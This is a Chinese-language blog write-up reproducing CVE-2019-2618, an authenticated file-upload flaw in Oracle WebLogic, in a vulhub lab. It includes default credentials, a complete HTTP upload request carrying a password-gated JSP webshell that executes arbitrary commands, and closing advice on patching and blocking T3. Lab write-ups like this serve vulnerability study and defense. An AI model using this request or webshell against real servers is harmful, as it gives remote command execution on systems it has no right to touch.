CVE-2019-2618

EXaxld.jpg

漏洞-介绍

CVE-2019-2618 文件上传

CVE-2019-1615任意文件读取

PS :这两个漏洞都需要OAM认证,也就是需要账号密码;之后weblogic正常deploy 本身就可以部署war文件,就像上传shell一样,,,咳咳

漏洞-影响版本

Oracle WebLogic Server:

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0

漏洞-环境搭建

用的vulhub CVE-2017-10271 两者影响版本差不多

EOldQU.png

漏洞-验证

前提:weblogic弱密码,可猜解;vulhub默认密码:weblogic/Oracle@123

上传地址随便找了一个../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war

抓包改包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host:192.168.32.140:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name:../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: weblogic
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 605

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="webshell.jsp"
Content-Type: false

<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

------WebKitFormBoundary7MA4YWxkTrZu0gW--

EOG091.png

访问shell

EOG6BD.png

漏洞-修复建议

  • 升级补丁
  • 如果不依赖T3协议进行JVM通信,禁用T3协议。

升级补丁

Oracle官方更新链接地址:https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html

禁用T3协议

  1. 进入WebLogic控制台,在base_domain配置页面中,进入安全选项卡页面,点击筛选器,配置筛选器。
  2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入* * 7001 deny t3 t3s
  3. 保存生效(无需重启)

注:转载请注明出处:lilifengcode.github.io